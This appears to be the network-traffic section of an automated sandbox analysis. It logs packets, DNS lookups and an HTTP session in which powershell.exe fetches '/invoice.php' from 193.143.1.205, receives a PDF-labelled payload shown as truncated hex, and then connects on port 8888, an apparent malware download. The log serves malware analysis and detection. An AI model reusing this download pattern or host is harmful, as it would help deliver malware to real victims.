Jan 11, 2025 00:48:57.447094917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.465960026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.465967894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.465985060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.466001034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.466003895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.466018915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.466025114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.466062069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.466156960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.476548910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476562023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476567984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476574898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476579905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476627111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476633072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476639986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476649046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.476653099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.476680994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.476974010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.496179104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.496185064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.496201038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.496218920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.496225119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.496238947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.496247053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.496295929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.496314049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.496314049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.496432066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.502788067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502796888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502810955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502819061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502826929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502840996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502847910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502877951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.502912045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502918959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502933025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502948999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502963066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.502963066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.502964973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.502974987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503011942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503011942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503082037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503089905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503103018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503112078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503120899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503129005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503138065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503144979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503156900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503173113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503173113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503233910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503240108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503249884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503262043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503269911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503288031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503295898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503304958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503319979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503325939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503325939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503331900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503340006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503348112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503355980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503364086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503385067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503385067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503418922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503555059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503561020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503577948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503593922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503601074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503613949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503622055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503633976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503643036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503643036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503648043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503655910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503664970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503667116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503678083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503684998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503699064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503707886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503720045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503757954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503757954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503787041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503796101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503813028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503830910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503840923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503845930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503849983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.503921986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.503921986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.512633085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512651920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512672901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512679100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512692928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512700081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512712955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512722969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512737036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512742043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512751102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.512758970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512772083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512784004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.512784958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512794971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.512841940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512846947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512861013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512870073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512878895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.512907982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512913942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512933969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512943029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512950897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.512959003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.512959003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.512989998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.513027906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.513032913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.513036966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.513046026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.513107061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.513107061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.517716885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.539273977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539282084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539295912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539304972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539319038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539331913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539340019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539361954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539371014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539381027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539387941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539397955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539402962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.539474010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.539486885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539495945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539505959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539511919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.539557934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.539557934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.558377028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558383942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558397055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558408976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558422089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558430910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558439016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558453083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558459997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.558484077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.558538914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.569111109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.569124937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.569148064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.569156885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.569164991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.569178104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.569188118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.569261074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.569317102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.588673115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.588715076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.588726997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.588735104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.588746071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.588752985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.588768005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.588774920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.588917017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.595099926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595118999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595133066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595140934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595149040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595163107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595207930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595211983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.595211983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.595213890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595227957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595237017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595258951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:57.595280886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.595280886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.650518894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:57.717979908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:58.077471972 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:58.083786011 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:58.083909035 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:58.084038019 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:58.090795994 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:58.882436991 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:48:58.931701899 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:48:59.045676947 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:49:06.785854101 CET	61145	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 00:49:06.785854101 CET	192.168.2.8	1.1.1.1	0x24ea	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 00:49:06.663142920 CET	1.1.1.1	192.168.2.8	0x148c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:49:06.663142920 CET	1.1.1.1	192.168.2.8	0x148c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:49:06.792915106 CET	1.1.1.1	192.168.2.8	0x24ea	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	4300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:48:55.975882053 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 00:48:56.802630901 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:48:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 00:48:56.802644968 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 00:48:56.802880049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 00:48:56.802896976 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 00:48:56.802908897 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 00:48:56.802918911 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 00:48:56.802931070 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 00:48:56.802942038 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 00:48:56.802972078 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 00:48:56.802983999 CET	1116	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
